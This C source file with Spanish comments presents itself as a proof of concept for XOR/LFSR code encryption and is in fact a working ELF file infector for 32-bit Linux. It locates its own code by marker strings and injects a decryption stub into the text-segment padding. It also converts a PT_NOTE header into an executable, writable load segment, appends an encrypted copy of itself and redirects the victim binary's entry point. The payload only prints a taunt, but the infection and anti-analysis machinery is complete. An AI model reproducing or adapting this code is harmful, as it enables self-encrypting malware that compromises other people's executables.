/*
* Prueba de concepto: cifrado del código con XOR y LFSR.
* Copyright (C) 2012 Gonzalo J. Carracedo
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <sys/syscall.h>
#include <sys/types.h>
#include <elf.h>
#include <stdint.h>
#include <stdlib.h>
/* Los includes pueden llegar a ser muy molestos. */
#define O_RDWR 02
# define SEEK_SET 0 /* Seek from beginning of file. */
# define SEEK_CUR 1 /* Seek from current position. */
# define SEEK_END 2 /* Seek from end of file. */
/* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
cadena más o menos segura y es realmente complicada encontrarla por ca-
sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
coincidencia).
Para separar la rutina de desencriptado en el relleno del segmento de
texto del resto del código, he utilizado el marcador GURB, que también
es complicado de encontrar en cualquier binario. */
#define BOTTOM_MARKER_LOW 0x504b
#define BOTTOM_MARKER_HIGH 0x5841
#define TOP_MARKER_LOW BOTTOM_MARKER_LOW
#define TOP_MARKER_HIGH BOTTOM_MARKER_HIGH
#define MIDDLE_MARKER_LOW 0x5547
#define MIDDLE_MARKER_HIGH 0x4252
#define MIDDLE_MARKER 0x42525547
#define BOTTOM_MARKER 0x5841504b
#define TOP_MARKER BOTTOM_MARKER
#define NOT_INFECTED_MAGIC 0xaaaaaaaa
#define RETADDR_OFFSET 1
#define CRYPTO_ADDR_OFFSET 7
#define CRYPTO_SEED_OFFSET 12
#define PAYLOAD_EP_OFFSET 36
/* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
/* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
sustituirá por la cadena "palabra" */
#define _STRINGIFY(x) #x
#define STRINGIFY(x) _STRINGIFY (x)
/* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
el flag "a" le obliga a que la sección se cargue en memoria */
asm (".section .code_bottom, \\"xa\\"");
asm (".long " STRINGIFY (BOTTOM_MARKER));
asm ("crypto_entry:");
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección de retorno */
asm (" pusha");
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección virtual a descifrar */
asm (" push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la semilla */
asm (" call insitu_decrypt");
asm (" add $4, %esp");
asm (" pop %eax");
asm (" addl $" STRINGIFY (PAYLOAD_EP_OFFSET) ", %eax");
asm (" call *%eax");
asm (" popa");
asm (" ret");
asm ("decrypted_entry:");
asm (" jmp payload"); /* Este es el punto de entrada del código desencriptado */
inline char lfsr (int *) __attribute__ ((section (".code_bottom")));
inline void insitu_decrypt (int, uint32_t) __attribute__ ((section (".code_bottom")));
inline char
lfsr (int *reg)
{
unsigned int tmp;
char result;
/* I\'m taking these taps:
3 29 */
tmp = *reg;
tmp >>= 1;
tmp |= (!!(*reg & (1 << 2)) ^ !!(*reg & (1 << 28)) ^ 1) << 31;
return (*reg = tmp) >> 8;
}
inline void
insitu_decrypt (int seed, uint32_t addr_start)
{
uint32_t addr_end;
addr_end = addr_start | 0xfff; /* supondremos que el código cabe en una página */
char *ptr = NULL;
for (; addr_start <= addr_end; addr_start++)
ptr[addr_start] ^= lfsr (&seed);
}
asm (".section .text");
asm (".long " STRINGIFY (MIDDLE_MARKER));
asm (".section .code_top, \\"xa\\"");
asm (".long " STRINGIFY (TOP_MARKER));
/* Vamos a necesitar, por lo menos, todas estas syscalls:
write, read, open, close y lseek */
int
write (int fd, const void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
return ret;
}
static inline int
read (int fd, void *buf, int size)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_read), "S" (fd), "c" (buf), "d" (size) :
"memory"); /* read modifica la memoria */
return ret;
}
static inline unsigned int
times (void)
{
int ret;
asm volatile ("push %%ebx\\n"
"xor %%ebx, %%ebx\\n"
"int $0x80\\n"
"pop %%ebx" : "=a" (ret) :
"a" (__NR_times) );
return ret;
}
static inline int
lseek (int fd, int offset, int whence)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
return ret;
}
static int
open (const char *path, int mode)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_open), "S" (path), "c" (mode));
return ret;
}
static int
close (int fd)
{
int ret;
asm volatile ("xchg %%ebx, %%esi\\n"
"int $0x80\\n"
"xchg %%ebx, %%esi\\n" : "=a" (ret) :
"a" (__NR_close), "S" (fd));
return ret;
}
/* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
muy útil para depurar. */
void
long2hex (unsigned int number, char *buf)
{
int i;
char hexa[] = "0123456789abcdef";
buf[8] = 0;
for (i = 0; i < 8; i++)
{
buf[7 - i] = hexa[number & 0xf];
number >>= 4;
}
}
/* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
del %eip mediante un call (ya que no podemos calcular las direcciones de
nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
hacia arriba o hacia abajo hasta encontrarlos */
void
get_code_limits (uint32_t *bottom, uint32_t *middle, uint32_t *top)
{
int i;
uint32_t this_addr;
/* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
de código en la que me hallo. El popl %0 saca la dirección de retorno
que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
inline assembly de GCC */
/* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
que llamé 1 y que está hacia adelante. Esto de utilizar números para
etiquetas se suele hacer mucho cuando la etiqueta hace referencia
a un cacho de código que no está especialmente diferenciado del resto. */
asm volatile ("call 1f\\n"
"1:\\n"
"popl %0\\n" : "=g" (this_addr));
/* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
últimos bits a cero. */
this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
this_addr = this_addr & 0xfffffffc que es un and
en binario con todo 1 menos los dos últimos bits,
esto fuerza a que el número esté alineado a 4. */
/* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
El marcador está hacia "atrás", o sea que recorreremos la memoria
restando. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
{
*bottom = i;
break;
}
}
/* Búsqueda del marcador superior, ahora tenemos que dar saltos en
nuestra memoria hacia adelante, sumando. */
for (i = this_addr; ; i += 4)
{
if (*(uint16_t *) i == TOP_MARKER_LOW)
if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
{
*top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
4 bytes) también pertenece al código. */
break;
}
}
/* Y búsqueda por último del marcador medio. */
for (i = this_addr; ; i -= 4)
{
if (*(uint16_t *) i == MIDDLE_MARKER_LOW) /* Primero la parte alta */
if (*(uint16_t *) (i + 2) == MIDDLE_MARKER_HIGH) /* Y luego la baja */
{
*middle = i;
break;
}
}
}
/* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
infectable */
int
open_elf (const char *path, Elf32_Ehdr *Ehdr)
{
int fd;
if ((fd = open (path, O_RDWR)) < 0)
return -1; /* Error al abrir */
if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
{
close (fd);
return -1; /* Error al leer la cabecera */
}
if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
Ehdr->e_ident[EI_MAG3] != ELFMAG3)
{
close (fd);
return -1; /* Números mágicos incorrectos */
}
if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
{
close (fd);
return -1; /* El ELF no es de 32 bits */
}
if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
{
close (fd);
return -1; /* El ELF no es little endian */
}
if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
{
close (fd);
return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
}
return fd;
}
/* Macro para alinear a tamaños */
#define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
int
get_gap_info (int fd, Elf32_Ehdr *Ehdr, int *idx, off_t *offset, uint32_t *vaddr, size_t *size)
{
int i;
int code_idx;
Elf32_Phdr phdr;
*idx = -1;
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
if (phdr.p_type == PT_LOAD)
if (phdr.p_flags & PF_X)
{
*idx = i;
break;
}
}
if (*idx == -1)
return -1;
*offset = phdr.p_offset + phdr.p_filesz;
*vaddr = phdr.p_vaddr + phdr.p_filesz;
*size = 4096 - (*vaddr & 0xfff);
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
/* ¿Está a caballo entre dos segmentos? */
if (phdr.p_type == PT_LOAD)
if (*offset <= phdr.p_offset && phdr.p_offset < *offset + *size)
*size = phdr.p_offset - *offset; /* Corregimos, no queremos chafar lo otro */
}
return 0;
}
/* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
/* TODO: hacerlo con mmaps, más rápido. */
int
replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *note_vaddr)
{
int i;
int note_idx;
Elf32_Phdr phdr;
uint32_t lowest_va;
lowest_va = 0xffffffff;
/* Este bucle me calcula la dirección más alta del programa, además de que
me busca el PT_NOTE. */
note_idx = -1;
for (i = 0; i < Ehdr->e_phnum; i++)
{
if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
return -1;
if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
if (phdr.p_type == PT_LOAD)
{
if (phdr.p_vaddr < lowest_va)
lowest_va = phdr.p_vaddr;
}
else if (phdr.p_type == PT_NOTE)
note_idx = i;
}
if (note_idx == -1)
return -1;
lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
read (fd, &phdr, sizeof (Elf32_Phdr));
phdr.p_type = PT_LOAD;
/* Alineamos al tamaño de página, esto es una restricción necesaria, ya
que el kernel sólo puede definir nuevos segmentos a partir de nuevas
páginas */
phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
phdr.p_filesz = size;
phdr.p_memsz = ALIGN (size, 4096);
phdr.p_flags = PF_X | PF_W | PF_R;
phdr.p_offset = offset;
phdr.p_align = 4096;
lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
return -1;
*note_vaddr = phdr.p_vaddr;
return 0;
}
int
inject (int fd, void *base, off_t offset, size_t size, int encrypt)
{
int i;
char *bytes;
char byte;
if (lseek (fd, offset, SEEK_SET) < 0)
return -1;
if (encrypt)
{
bytes = (char *) base;
for (i = 0; i < size; i++)
{
byte = bytes[i] ^ lfsr (&encrypt);
if (write (fd, &byte, 1) < 1)
return -1;
}
}
else
if (write (fd, base, size) < size)
return -1;
return 0;
}
#define DEBUG(x) write (1, x, sizeof (x) - 1)
void
write_zeroes (int fd, int bytes)
{
int i;
int null = 0;
for (i = 0; i < bytes; i++)
write (fd, &null, 1);
}
void
payload (void)
{
char msg[] = "DISASSEMBLE ME, I DARE YOU MOTHERFUCKER\\n";
write (1, msg, sizeof (msg) - 1);
}
/* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
void
_start (void)
{
char buffer[9];
Elf32_Ehdr Ehdr;
size_t binsize;
size_t binsize_aligned;
size_t code_size;
int fd;
int key;
off_t gap_off;
uint32_t gap_vaddr;
size_t gap_size;
int text_idx;
uint32_t limit_bottom;
uint32_t limit_top;
uint32_t limit_middle;
uint32_t note_vaddr;
get_code_limits (&limit_bottom, &limit_middle, &limit_top);
code_size = limit_top - limit_bottom;
if ((fd = open_elf ("victim", &Ehdr)) == -1)
{
DEBUG ("No se pudo abrir el ejecutable victim.\\n");
for (;;);
}
if (get_gap_info (fd, &Ehdr, &text_idx, &gap_off, &gap_vaddr, &gap_size) == -1)
{
DEBUG ("No se puede encontrar el segmento de texto\\n");
for (;;);
}
if (gap_size < limit_middle - limit_bottom)
{
DEBUG ("La rutina de desencriptado no cabe en el segmento de texto\\n");
long2hex (limit_bottom, buffer);
for (;;);
}
binsize = lseek (fd, 0, SEEK_END);
binsize_aligned = ALIGN (binsize, 4096);
/* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
de página de x86 */
write_zeroes (fd, binsize_aligned - binsize - 4);
if (replace_note (fd, &Ehdr, binsize_aligned, code_size, ¬e_vaddr) == -1)
{
DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
for (;;);
}
if (inject (fd, (void *) limit_bottom + 4, gap_off, limit_middle - limit_bottom - 4, 0) == -1)
{
DEBUG ("No se pudo inyectar la rutina de desencriptado.\\n");
for (;;);
}
while (!(key = times ()));
if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size, key) == -1)
{
DEBUG ("No se pudo inyectar el cuerpo encriptado.\\n");
for (;;);
}
/* Ahora toca configurar la dirección de retorno, la dirección virtual del
código encriptado y la semilla. */
inject (fd, &Ehdr.e_entry, gap_off + RETADDR_OFFSET, sizeof (uint32_t), 0);
inject (fd, ¬e_vaddr, gap_off + CRYPTO_ADDR_OFFSET, sizeof (uint32_t), 0);
inject (fd, &key, gap_off + CRYPTO_SEED_OFFSET, sizeof (uint32_t), 0);
/* El punto de entrada está siempre en el offset 24 */
inject (fd, &gap_vaddr, 24, sizeof (uint32_t), 0);
DEBUG ("Binario victim infectado.\\n");
for (;;);
}